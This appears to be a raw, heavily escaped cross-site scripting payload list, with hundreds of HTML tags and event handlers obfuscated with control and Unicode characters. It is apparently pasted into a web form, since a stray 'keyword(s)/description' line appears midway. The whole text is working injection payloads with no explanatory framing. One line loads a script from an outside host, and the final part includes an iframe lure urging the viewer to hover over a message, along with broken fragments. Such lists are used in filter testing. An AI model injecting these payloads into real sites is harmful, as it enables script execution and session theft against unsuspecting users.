onreadystatechange>\\r\\n<body onpagehide body onpagehide=\\\"javascript:javascript:alert(1)\\\"></body onpagehide>\\r\\n<svg onunload svg onunload=\\\"javascript:javascript:alert(1)\\\"></svg onunload>\\r\\n<applet onerror applet onerror=\\\"javascript:javascript:alert(1)\\\"></applet onerror>\\r\\n<body onkeyup body onkeyup=\\\"javascript:javascript:alert(1)\\\"></body onkeyup>\\r\\n<body onunload body onunload=\\\"javascript:javascript:alert(1)\\\"></body onunload>\\r\\n<iframe onload iframe onload=\\\"javascript:javascript:alert(1)\\\"></iframe onload>\\r\\n<body onload body onload=\\\"javascript:javascript:alert(1)\\\"></body onload>\\r\\n<html onmouseover html onmouseover=\\\"javascript:javascript:alert(1)\\\"></html onmouseover>\\r\\n<object onbeforeload object onbeforeload=\\\"javascript:javascript:alert(1)\\\"></object onbeforeload>\\r\\n<body onbeforeunload body onbeforeunload=\\\"javascript:javascript:alert(1)\\\"></body onbeforeunload>\\r\\n<body onfocus body onfocus=\\\"javascript:javascript:alert(1)\\\"></body onfocus>\\r\\n<body onkeydown body onkeydown=\\\"javascript:javascript:alert(1)\\\"></body onkeydown>\\r\\n<iframe onbeforeload iframe onbeforeload=\\\"javascript:javascript:alert(1)\\\"></iframe onbeforeload>\\r\\n<iframe src iframe src=\\\"javascript:javascript:alert(1)\\\"></iframe src>\\r\\n<svg onload svg onload=\\\"javascript:javascript:alert(1)\\\"></svg onload>\\r\\n<html onmousemove html onmousemove=\\\"javascript:javascript:alert(1)\\\"></html onmousemove>\\r\\n<body onblur body onblur=\\\"javascript:javascript:alert(1)\\\"></body onblur>\\r\\n\\\\x3Cscript>javascript:alert(1)</script>\\r\\n\\\'\\\"`><script>/* *\\\\x2Fjavascript:alert(1)// */</script>\\r\\n<script>javascript:alert(1)</script\\\\x0D\\r\\n<script>javascript:alert(1)</script\\\\x0A\\r\\n<script>javascript:alert(1)</script\\\\x0B\\r\\n<script charset=\\\"\\\\x22>javascript:alert(1)</script>\\r\\n<!--\\\\x3E<img src=xxx:x onerror=javascript:alert(1)> -->\\r\\n--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->\\r\\n--><!-- --\\\\x00> <img src=xxx:x onerror=javascript:alert(1)> -->\\r\\n--><!-- --\\\\x21> <img src=xxx:x onerror=javascript:alert(1)> -->\\r\\n--><!-- --\\\\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->\\r\\n`\\\"\\\'><img src=\\\'#\\\\x27 onerror=javascript:alert(1)>\\r\\n<a href=\\\"javascript\\\\x3Ajavascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n\\\"\\\'`><p><svg><script>a=\\\'hello\\\\x27;javascript:alert(1)//\\\';</script></p>\\r\\n<a href=\\\"javas\\\\x00cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x07cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x0Dcript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x0Acript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x08cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x02cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x03cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x04cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x01cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x05cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x0Bcript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x09cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x06cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x0Ccript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<script>/* *\\\\x2A/javascript:alert(1)// */</script>\\r\\n<script>/* *\\\\x00/javascript:alert(1)// */</script>\\r\\n<style></style\\\\x3E<img src=\\\"about:blank\\\" onerror=javascript:alert(1)//></style>\\r\\n<style></style\\\\x0D<img src=\\\"about:blank\\\" onerror=javascript:alert(1)//></style>\\r\\n<style></style\\\\x09<img src=\\\"about:blank\\\" onerror=javascript:alert(1)//></style>\\r\\n<style></style\\\\x20<img src=\\\"about:blank\\\" onerror=javascript:alert(1)//></style>\\r\\n<style></style\\\\x0A<img src=\\\"about:blank\\\" onerror=javascript:alert(1)//></style>\\r\\n\\\"\\\'`>ABC<div style=\\\"font-family:\\\'foo\\\'\\\\x7Dx:expression(javascript:alert(1);/*\\\';\\\">DEF \\r\\n\\\"\\\'`>ABC<div style=\\\"font-family:\\\'foo\\\'\\\\x3Bx:expression(javascript:alert(1);/*\\\';\\\">DEF \\r\\n<script>if(\\\"x\\\\\\\\xE1\\\\x96\\\\x89\\\".length==2) { javascript:alert(1);}</script>\\r\\n<script>if(\\\"x\\\\\\\\xE0\\\\xB9\\\\x92\\\".length==2) { javascript:alert(1);}</script>\\r\\n<script>if(\\\"x\\\\\\\\xEE\\\\xA9\\\\x93\\\".length==2) { javascript:alert(1);}</script>\\r\\n\\\'`\\\"><\\\\x3Cscript>javascript:alert(1)</script>\\r\\n\\\'`\\\"><\\\\x00script>javascript:alert(1)</script>\\r\\n\\\"\\\'`><\\\\x3Cimg src=xxx:x onerror=javascript:alert(1)>\\r\\n\\\"\\\'`><\\\\x00img src=xxx:x onerror=javascript:alert(1)>\\r\\n<script src=\\\"data:text/plain\\\\x2Cjavascript:alert(1)\\\"></script>\\r\\n<script src=\\\"data:\\\\xD4\\\\x8F,javascript:alert(1)\\\"></script>\\r\\n<script src=\\\"data:\\\\xE0\\\\xA4\\\\x98,javascript:alert(1)\\\"></script>\\r\\n<script src=\\\"data:\\\\xCB\\\\x8F,javascript:alert(1)\\\"></script>\\r\\n<script\\\\x20type=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x3Etype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x0Dtype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x09type=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x0Ctype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x2Ftype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x0Atype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\nABC<div style=\\\"x\\\\x3Aexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:expression\\\\x5C(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:expression\\\\x00(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:exp\\\\x00ression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:exp\\\\x5Cression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x0Aexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x09expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE3\\\\x80\\\\x80expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x84expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xC2\\\\xA0expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x80expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x8Aexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x0Dexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x0Cexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x87expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xEF\\\\xBB\\\\xBFexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x20expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x88expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x00expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x8Bexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x86expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x85expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x82expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\x0Bexpression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x81expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x83expression(javascript:alert(1)\\\">DEF\\r\\nABC<div style=\\\"x:\\\\xE2\\\\x80\\\\x89expression(javascript:alert(1)\\\">DEF\\r\\n<a href=\\\"\\\\x0Bjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x0Fjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xC2\\\\xA0javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x05javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE1\\\\xA0\\\\x8Ejavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x18javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x11javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x88javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x89javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x80javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x17javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x03javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x0Ejavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x1Ajavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x00javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x10javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x82javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x20javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x13javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x09javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x8Ajavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x14javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x19javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\xAFjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x1Fjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x81javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x1Djavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x87javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x07javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE1\\\\x9A\\\\x80javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x83javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x04javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x01javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x08javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x84javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x86javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE3\\\\x80\\\\x80javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x12javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x0Djavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x0Ajavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x0Cjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x15javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\xA8javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x16javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x02javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x1Bjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x06javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\xA9javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x80\\\\x85javascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x1Ejavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\xE2\\\\x81\\\\x9Fjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"\\\\x1Cjavascript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javascript\\\\x00:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javascript\\\\x3A:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javascript\\\\x09:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javascript\\\\x0D:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javascript\\\\x0A:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x0Aonerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x22onerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x0Bonerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x0Donerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x2Fonerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x09onerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x0Conerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x00onerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x27onerror=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x \\\\x20onerror=javascript:alert(1)>\\r\\n\\\"`\\\'><script>\\\\x3Bjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x0Djavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xEF\\\\xBB\\\\xBFjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x81javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x84javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE3\\\\x80\\\\x80javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x09javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x89javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x85javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x88javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x00javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\xA8javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x8Ajavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE1\\\\x9A\\\\x80javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x0Cjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x2Bjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xF0\\\\x90\\\\x96\\\\x9Ajavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>-javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x0Ajavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\xAFjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x7Ejavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x87javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x81\\\\x9Fjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\xA9javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xC2\\\\x85javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xEF\\\\xBF\\\\xAEjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x83javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x8Bjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xEF\\\\xBF\\\\xBEjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x80javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x21javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x82javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE2\\\\x80\\\\x86javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xE1\\\\xA0\\\\x8Ejavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x0Bjavascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\x20javascript:alert(1)</script>\\r\\n\\\"`\\\'><script>\\\\xC2\\\\xA0javascript:alert(1)</script>\\r\\n\\\"/><img/onerror=\\\\x0Bjavascript:alert(1)\\\\x0Bsrc=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x22javascript:alert(1)\\\\x22src=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x09javascript:alert(1)\\\\x09src=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x27javascript:alert(1)\\\\x27src=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x0Ajavascript:alert(1)\\\\x0Asrc=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x0Cjavascript:alert(1)\\\\x0Csrc=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x0Djavascript:alert(1)\\\\x0Dsrc=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x60javascript:alert(1)\\\\x60src=xxx:x />\\r\\n\\\"/><img/onerror=\\\\x20javascript:alert(1)\\\\x20src=xxx:x />\\r\\n<script\\\\x2F>javascript:alert(1)</script>\\r\\n<script\\\\x20>javascript:alert(1)</script>\\r\\n<script\\\\x0D>javascript:alert(1)</script>\\r\\n<script\\\\x0A>javascript:alert(1)</script>\\r\\n<script\\\\x0C>javascript:alert(1)</script>\\r\\n<script\\\\x00>javascript:alert(1)</script>\\r\\n<script\\\\x09>javascript:alert(1)</script>\\r\\n\\\"><img src=x onerror=javascript:alert(1)>\\r\\n\\\"><img src=x onerror=javascript:alert(\\\'1\\\')>\\r\\n\\\"><img src=x onerror=javascript:alert(\\\"1\\\")>\\r\\n\\\"><img src=x onerror=javascript:alert(`1`)>\\r\\n\\\"><img src=x onerror=javascript:alert((\\\'1\\\'))>\\r\\n\\\"><img src=x onerror=javascript:alert((\\\"1\\\"))>\\r\\n\\\"><img src=x onerror=javascript:alert((`1`))>\\r\\n\\\"><img src=x onerror=javascript:alert(A)>\\r\\n\\\"><img src=x onerror=javascript:alert((A))>\\r\\n\\\"><img src=x onerror=javascript:alert((\\\'A\\\'))>\\r\\n\\\"><img src=x onerror=javascript:alert(\\\'A\\\')>\\r\\n\\\"><img src=x onerror=javascript:alert((\\\"A\\\"))>\\r\\n\\\"><img src=x onerror=javascript:alert(\\\"A\\\")>\\r\\n\\\"><img src=x onerror=javascript:alert((`A`))>\\r\\n\\\"><img src=x onerror=javascript:alert(`A`)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x0B=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x00=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x0C=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x0D=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x20=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x0A=javascript:alert(1)>\\r\\n`\\\"\\\'><img src=xxx:x onerror\\\\x09=javascript:alert(1)>\\r\\n<script>javascript:alert(1)<\\\\x00/script>\\r\\n<img src=# onerror\\\\x3D\\\"javascript:alert(1)\\\" >\\r\\n<input onfocus=javascript:alert(1) autofocus>\\r\\n<input onblur=javascript:alert(1) autofocus><input autofocus>\\r\\n<video poster=javascript:javascript:alert(1)//\\r\\n<body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\\r\\n<form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X\\r\\n<video><source onerror=\\\"javascript:javascript:alert(1)\\\">\\r\\n<video onerror=\\\"javascript:javascript:alert(1)\\\"><source>\\r\\n<form><button formaction=\\\"javascript:javascript:alert(1)\\\">X\\r\\n<body oninput=javascript:alert(1)><input autofocus>\\r\\n<math href=\\\"javascript:javascript:alert(1)\\\">CLICKME</math> <math> <maction actiontype=\\\"statusline#http://google.com\\\" xlink:href=\\\"javascript:javascript:alert(1)\\\">CLICKME</maction> </math>\\r\\n<frameset onload=javascript:alert(1)>\\r\\n<table background=\\\"javascript:javascript:alert(1)\\\">\\r\\n<!--<img src=\\\"--><img src=x onerror=javascript:alert(1)//\\\">\\r\\n<comment><img src=\\\"</comment><img src=x onerror=javascript:alert(1))//\\\">\\r\\n<![><img src=\\\"]><img src=x onerror=javascript:alert(1)//\\\">\\r\\n<style><img src=\\\"</style><img src=x onerror=javascript:alert(1)//\\\">\\r\\n<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>\\r\\n<head><base href=\\\"javascript://\\\"></head><body><a href=\\\"/. /,javascript:alert(1)//#\\\">XXX</a></body>\\r\\n<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>\\r\\n<OBJECT CLASSID=\\\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\\\"><PARAM NAME=\\\"DataURL\\\" VALUE=\\\"javascript:alert(1)\\\"></OBJECT>\\r\\n<object data=\\\"data:text/html;base64,%(base64)s\\\">\\r\\n<embed src=\\\"data:text/html;base64,%(base64)s\\\">
keyword(s): z
description:
\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n<!--[if gte IE 4]>alert(\\\'XSS\\\');\\\'\\\"-->\\r\\n<? echo(\\\'alert(\\\"XSS\\\")\\\'); ?>\\r\\n![]()
\\>\\>\\>\\>\\>\\r\\n\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n(\\\"\\r\\nXSS\\r\\n0\\\\\\\"autofocus/=alert(1)--><video/>\\\"-confirm(3)-\\\"\\r\\nveris-->group<svg/=alert(/XSS/)//\\r\\n#\\\">![]()
\\ >\\>[\\\" =\\\">\\>\\r\\nfor((i)in(self))eval(i)(1)\\r\\n\\r\\n\\r\\ntest\\r\\n\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\ >\\/>\\r\\n\\\"><IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\\">123
\\r\\n\\\"><IFRAME SRC=# =\\\"alert()\\\"></IFRAME>123
\\r\\n<IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<IFRAME SRC=# =\\\"alert()\\\"></IFRAME>\\r\\n\\\"><IFRAME SRC=# =\\\"alert()\\\"></IFRAME>123
\\r\\n\\\"></iframe>alert(`TEXT YOU WANT TO BE DISPLAYED`);<iframe frameborder=\\\"0\\r\\n\\\"><IFRAME width=\\\"420\\\" height=\\\"315\\\" SRC=\\\"http://www.youtube.com/embed/sxvccpasgTE\\\" frameborder=\\\"0\\\" =\\\"alert()\\\"></IFRAME>123
\\r\\n\\\"><iframe width=\\\"420\\\" height=\\\"315\\\" src=\\\"http://www.youtube.com/embed/sxvccpasgTE\\\" frameborder=\\\"0\\\" allowfullscreen></iframe>123
\\r\\n><IFRAME width=\\\"420\\\" height=\\\"315\\\" frameborder=\\\"0\\\" =\\\".href=\\\'https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr\\r\\ng\\\'\\\"></IFRAME>Hover the cursor to the LEFT of this Message
